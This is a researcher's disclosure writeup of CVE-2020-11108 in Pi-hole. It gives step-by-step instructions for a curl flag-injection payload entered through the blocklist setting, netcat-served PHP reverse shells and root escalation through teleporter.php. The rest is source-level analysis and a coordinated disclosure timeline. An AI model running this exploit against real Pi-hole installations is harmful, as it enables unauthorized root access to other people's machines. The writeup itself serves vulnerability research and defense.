The following is a technical writeup for CVE-2020-11108, a vulnerability that allows an authenticated user of the Pi-hole web application to gain remote code execution and escalate privileges to root. This vulnerability affects Pi-hole v4.4 and below. It was an exciting find in an open source project that I have used for years.
All vulnerabilities were found by manually reviewing the source code. Note, there are technically two paths to gain remote code execution, however they are similar and rely on the same vulnerable function call.
This article is split into two parts. The first being a quick summary as to how these vulnerabilities can be exploited. The second being a writeup on their discovery and technical analysis.
Full PoC exploits are available here.
Reliable RCE: This exploit does not rely on any special conditions aside from being authenticated to the web application and is functional with the default install of Pi-hole.
Step 1: Navigate to Settings > Blocklists
Step 2: Disable all existing block lists (speeds things up), then enter the following payload as a new URL.
http://192.168.122.1#" -o fun.php -d "
Where the IP address is an address you control. Note that the #
character is required and the space after -d
is also required. Once entered you can click Save.
Step 3: Set up a netcat listener on port 80 (The payload can be modified to support other ports, however some backend parsing of the ':' character make this more of an annoyance than is worth changing)
Step 4: Click "Save and Update"
Step 5: After a few seconds you will receive a GET request. Provide a 200 response (this is required), hit enter, enter anything (just to provide some data), hit enter twice more and then Ctrl+c.
Step 6: Set up another netcat listener on port 80 and click "Update" to update Gravity a second time. This time you should see ".domains" in the response. This is indicative you have performed the exploit correctly up to this point. Hit enter, and then paste whatever PHP payload you’d like. A shell function call works very nicely. Then hit Ctrl+c to kill netcat.
Step 7: If your payload was a reverse shell, set up your listener. Then curl /admin/scripts/pi-hole/php/fun.php
. This will trigger your payload. Congrats, you’ve just gotten RCE on Pi-hole!
Conditional RCE: In addition to being authenticated to the web application, the Pi-hole service must set its BLOCKINGMODE configuration to NXDOMAIN to be exploitable. This is explained in detail during the technical analysis.
Step 1: Navigate to Settings > Blocklists
Step 2: Disable all existing block lists (speeds things up), then enter the following payload as a new URL.
http://192.168.122.1#" -o fun.php -d "
Where the IP address is an address you control. Note that the #
character is required and the space after -d
is also required. Once entered you can click Save.
Step 3: Set up a netcat listener on port 80 (The payload can be modified to support other ports, however some backend parsing of the ':' character make this more of an annoyance than is worth changing).
Step 4: Click "Save and Update"
Step 5: After a few seconds you will receive a GET request that will include ':80:'. This is indicative that BLOCKINGMODE is set to NXDOMAIN and that the exploit was successful. Hit enter, and then paste whatever PHP payload you’d like. A shell function call works very nicely. Then hit Ctrl+c to kill netcat.
Step 6: If your payload was a reverse shell, set up your listener. Then curl /admin/scripts/pi-hole/php/fun.php
. This will trigger your payload. Congrats, you’ve just gotten RCE on Pi-hole!
Privilege Escalation: After gaining a shell on the box you can escalate privileges through the following means.
Step 1: Re-do either of the previous exploits, this time overwriting teleporter.php (instead of writing to fun.php).
http://192.168.122.1#" -o teleporter.php -d "
Step 2: With a shell you’ve gained previously, run sudo pihole -a -t
(www-data has a sudo rule to call pihole). This command will call teleporter.php as root. If you’ve overwritten it with a reverse shell payload (for example) you will be root.
The initial discovery was purely by accident. In a previous blog post I described how to perform deserialization attacks against Python. As a follow up, I wanted to replicate this for PHP applications. While writing that post (it will come eventually I swear!) I started poking at some applications I run on my home network that use PHP.
After bouncing through a few of them I landed on my Pi-hole instance. If you’ve not used it before, Pi-hole is a specialized DNS server that will block ads and malicious domains for devices that use it. This makes it easy to block ads network wide, rather than relying on something like a browser plugin.
I began going through the code looking for opportunities to perform deserialization attacks and was thoroughly disappointed (not a single unserialize function to exploit). My next thought was looking for opportunities for exploiting phar stream wrappers. While going through the app I noticed the ability to use user-selected blocklists (Settings > Blocklists).
I tested a phar stream wrapper and it appeared to take (spoiler alert: it didn’t).
After seeing this I thought to myself, "Okay, we can define the protocol (i.e http vs https). I bet the PHP on the backend is making a GET request to these domains, pulling the content, and adding them to the block lists. I wonder if it will evaluate this phar stream wrapper?".
I pulled the source code of the application and was surprised to see this was not the case. Instead the PHP actually calls the pihole CLI tool to update the blocklists. I then looked at the code base of that and found the gravity_DownloadBlocklistFromUrl function in gravity.sh.
While going through that function I came to find the actual downloading was being done by curl.
This is when all the fun began. If you’ll notice, there are a number of variables which can be affected.
In order to trace the path for exploitation we need to examine these parameters and understand how curl is going to interpret them. The following is a simplified (from an exploitation perspective) format of what we should be looking into.
curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"
The first thing that may stick out to you is that the cmd_ext and heisenbergCompensator are not surrounded by quotes. This provides the opportunity for us to inject alternative flags into curl. If you’ve ever exploited something like this (ironically I have experience abusing parameters going into curl requests) there are two flags that are particularly valuable, -o
for output and -x
for proxy.
To make matters even more in our favor, the curl command is run as root. Meaning we can potentially write files anywhere (more on that later). Because this script is being called by PHP in the web directory, any files that are written with -o
are written in the web directory. If we can control that flag and the content, then we are guaranteed remote code execution. One other thing is that Curl will prioritize the order in which the flags are entered. Whichever flag is evaluated first will be executed. So curl -o a -o b https://frichetten.com
will write output to a.
This leads us to look into the two parameters which are not encased in quotes. And ultimately there are two ways to inject into them.
First we will look at heisenbergCompensator. On line 238 of gravity.sh heisenbergCompensator is set if the saveLocation variable is a valid file. If it is valid/readable, the saveLocation variable will be used to construct the heisenbergCompensator. This is set in the previous function (gravity_SetDownloadOptions) and is constructed from several variables.
saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"
Because we control the input we can potentially create a domain with spaces and additional flags. This should not cause a problem for the file name, and those spaces will allow us to inject our own flags for the curl command. To exploit this, we use the following payload.
http://192.168.122.1#" -o fun.php -d "
This domain will be parsed in such a way that the double quotes are extracted. Thus at the time of the curl the variables are such that heisenbergCompensator = -z /etc/pihole/list.0.192.168.122.1# -o fun.php -d .domains
.
Now as you’ll recall the heisenbergCompensator variable is set AFTER it validates a file is there. The good news for us was that updating gravity one time will be enough to write the file as shown below.
The only caveat is that we must respond with a 200 OK to ensure the file is written. This is required based on line 290.
The -d
flag is a throw away to handle the extra data that is appended. The second time we update Gravity, the curl request will include our injected flags and write our payload to the web directory.
You may be wondering if this could be exploited to overwrite an SSH config, or /etc/shadow or some other file. Unfortunately I could not find a way to write to any other directory other than the web one. As a part of the back end parsing, any '/' characters are filtered out via a regex. I spent a not insignificant amount of time trying to find ways around this but had no luck (If you do find a way please let me know).
That takes care of heisenbergCompensator, but what about cmd_ext? The bad news is that this flag is only set if BLOCKINGMODE is set to NXDOMAIN
. While this is a valid configuration, and supported by the developers it is not the default shipped with Pi-hole.
If it is set however, exploitation actually becomes a bit easier than the previous method. cmd_ext is defined at line 274 and is constructed as follows.
cmd_ext="--resolve $domain:$port:$ip"
Thus, if we can use the same payload we constructed earlier to inject into the domain. The spaces introduced will allow us to inject our flags, and we append the -d
flag to deal with the remaining data meant for the resolve (specifically the ':80:').
Either RCE achieves the same effect, a shell on the Pi-hole host running as the www-data
user. From here, we are going to want to escalate privileges. After talking to the dev’s they had mentioned there was a previously reported way to escalate privileges related to some Bash trickery. It was a pretty clever trick, but I really wanted to find my own method.
If you are just looking at the source code for the Pi-hole web application, you may be surprised to see that it calls sudo pihole
regularly. Does this mean www-data is a sudo user without a password? No, unfortunately for us they are not. But, www-data does have a sudo rule to run the pihole
command!
This felt like a hint in a CTF, clearly I had to priv esc using the pihole script itself. Some things you should know about it is that it’s actually a Bash script that calls a handful of other Bash scripts sitting in /opt/pihole
. Everything is owned by root so unfortunately we can’t just modify one one of the scripts and then run it with sudo.
While looking through these scripts, I noticed something just as good however. In /opt/pihole/webpage.sh
, on line 547 the script calls a PHP file sitting in the web directory.
From here the game plan is simple, we can repeat our previous exploit, this time overwriting teleporter.php. Then, when we run sudo pihole -a -t
which calls our payload in teleporter.php and viola, we are root!
Overall this was an awesome hacking session, and I hope I was able to explain even 10% of what made it great. A lot of it boiled down to finding edge cases where I could satisfy what the back end was expecting (That payload took many rounds of iteration until I got it working. The original one was using brace expansion).
Shoutouts to the Pi-hole core team for bearing with me as I explored different options and expanded upon my original exploit!
3-29-2020: Contacted Pi-hole team
3-29-2020: Pi-hole core team acknowledged the report
3-30-2020: Met with the team to provide additional information/trace the issue
3-30-2020: Mitre assigned CVE-2020-11108
3-31-2020: Found the second way to RCE with heisenbergCompensator
4-02-2020: Found and submitted the privilege escalation bug
5-10-2020: Pi-hole team gave me the go-ahead to share the bug and PoC